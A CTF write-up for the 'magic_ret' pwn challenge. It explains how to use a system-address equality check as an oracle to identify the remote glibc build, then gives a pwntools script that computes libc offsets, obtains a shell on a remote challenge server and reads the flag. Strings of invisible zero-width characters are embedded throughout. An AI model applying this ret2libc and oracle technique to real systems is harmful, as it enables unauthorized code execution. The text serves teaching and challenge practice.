← Back to Writeups
CUSTOMMediumpwn

magic_ret

XESXOR9/2/20264 min read
#pwn#custom#medium#libc_base_leak#libc_version_identification#oracle_bruteforce#ret2libc_guided#linux

magic_ret

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: libc_base_leak, libc_version_identification, oracle_bruteforce, ret2libc_guided

Summary

Task: guided ret2libc (no buffer overflow) — a PIE binary leaks __libc_start_main_ret, then validates a user-supplied system() address against the GOT and a /bin/sh pointer before calling system(input). Solution: the provided Debian libc-2.31 mismatched the remote; used the strict system-equality check as an oracle to brute-force the correct glibc 2.31 build (Ubuntu 2.31-0ubuntu9) offset tuple, then dropped a shell.

magic_ret — pwn_spbctf

Description

Всё в твоих руках, верь мне.

("It's all in your hands, trust me.")

64-bit x86-64 ELF magic_ret.elf (PIE, NX, Partial RELRO, no stack canary). Remote: nc 109.233.56.90 11633. A libc-2.31.so is provided. This is a guided ret2libc challenge: there is no buffer overflow. The program walks you through the pieces of a ret2libc by hand — you must supply the address of system and the address of a "/bin/sh" string, and it calls system("/bin/sh") for you. The catch (and the entire lesson) is that the provided libc does not match the remote libc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Key functions:

  • main @ 0x12c6
  • user_input @ 0x1233
  • sigsegv_handler @ 0x1205

Control flow:

  1. Leak. main prints printf("__libc_start_main_ret: %p\n", saved_return), leaking the on-stack return address into __libc_start_main — i.e. libc_base + lsm_ret_off. This gives the libc base once we know the right offset. The low 12 bits of this leak are an invariant: they always end in 0x0b3 for the actual remote build (page offset is fixed by the libc binary).

  2. Input parsing. user_input() does fgets(buf, 0x100), strips the newline, and returns strtol(buf, NULL, 16) — a hex parse (0x prefix accepted). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. system oracle. Prompt "&system (as hex) = " reads input1 and requires input1 == resolved value of the system GLOB_DAT GOT entry (= remote_libc_base + system_off). On mismatch it calls raise(SIGSEGV), whose handler exit()s (you see EOF). This equality check is a perfect oracle for the remote system address — and therefore for the exact libc build.

  4. /bin/sh check. Prompt "&'/bin/sh' (as hex) = " reads input2 (treated as a pointer) and requires strncmp((char*)input2, "/bin/sh", 7) == 0. So input2 must point at a real "/bin/sh" string in libc. On mismatch → raise(SIGSEGV) → exit. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  5. Shell. It then calls system_value(input2), i.e. system(input2). With input1 = remote system addr and input2 = remote "/bin/sh" addr, this gives a shell.

Critical gotcha — the lesson

The provided libc-2.31.so is Debian GLIBC 2.31-3 (system = 0x48f20, /bin/sh = 0x18a156). The remote libc is different. Using the Debian offsets — in particular __libc_start_main_ret = 0x270b3 — made the first (&system) check fail (raise → EOF).

Verifying via disassembly of the provided libc: the call rax that invokes main inside __libc_start_main returns at offsets ending in 0xcca / 0xc5a / 0xd02 — none end in 0x0b3. So 0x270b3 only "page-aligned by coincidence," confirming the provided libc ≠ remote libc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lesson: different services on the same host can ship different libcs. (The sibling task word_storage on this very host used the Debian libc, while magic_ret did not.)

Solution

Use the strict &system equality check as an oracle to identify the exact glibc 2.31 build:

  1. Connect, read the __libc_start_main_ret leak.
  2. For each candidate build's (lsm_ret_off, system_off, binsh_off) tuple, compute base = leak - lsm_ret_off and send system = base + system_off.
  3. If you reach the second prompt ("&'/bin/sh' (as hex) = ") instead of EOF, the tuple is correct. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The remote turned out to be Ubuntu glibc 2.31-0ubuntu9:

  • __libc_start_main_ret = 0x270b3
  • system = 0x55410
  • /bin/sh = 0x1b75aa

(The low 12 bits 0x0b3 of the leak match this build's invariant page offset, confirming the identification before brute-force even completes.)

Then send binsh = base + 0x1b75aa, recvuntil "Let's try...", and drop a shell command to read the flag.

python
#!/usr/bin/env python3
# magic_ret.elf (PIE): leaks __libc_start_main_ret via printf("%p"), then asks for
# the hex address of system() and the hex address of a "/bin/sh" string; validates
# input1 == resolved system (GOT) and *input2 == "/bin/sh", then calls system(input2).
# NOTE: the REMOTE libc is Ubuntu glibc 2.31-0ubuntu9 (NOT the provided Debian libc!).
# Correct offsets: __libc_start_main_ret=0x270b3, system=0x55410, /bin/sh=0x1b75aa.
from pwn import *
context.log_level = 'info'
HOST, PORT = '109.233.56.90', 11633
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Candidate (lsm_ret_off, system_off, binsh_off) tuples for known glibc 2.31 builds.
# The &system equality check is the oracle: the right tuple advances to prompt 2.
CANDIDATES = [
    (0x270b3, 0x55410, 0x1b75aa),  # Ubuntu glibc 2.31-0ubuntu9  <-- remote
    (0x270b3, 0x48f20, 0x18a156),  # Debian GLIBC 2.31-3 (provided libc; mismatches)
]

def attempt(lsm_ret, system_off, binsh_off):
    io = remote(HOST, PORT)
    io.recvuntil(b'__libc_start_main_ret: ')
    leak = int(io.recvline().strip(), 16)
    base = leak - lsm_ret
    log.info('try base=%#x sys=%#x' % (base, base + system_off))
    io.recvuntil(b'&system (as hex) = ')
    io.sendline(hex(base + system_off).encode())
    try:
        # reaching the SECOND prompt == system check passed == correct tuple
        io.recvuntil(b"&'/bin/sh' (as hex) = ", timeout=3)
    except EOFError:
        io.close()
        return None
    io.sendline(hex(base + binsh_off).encode())
    io.recvuntil(b"Let's try...")
    io.sendline(b'cat /flag /flag.txt 2>/dev/null; id')
    return io
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for lsm, sysoff, binsh in CANDIDATES:
    io = attempt(lsm, sysoff, binsh)
    if io:
        log.success('correct libc build found')
        print(io.recvall(timeout=4).decode(errors='replace'))
        io.close()
        break

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍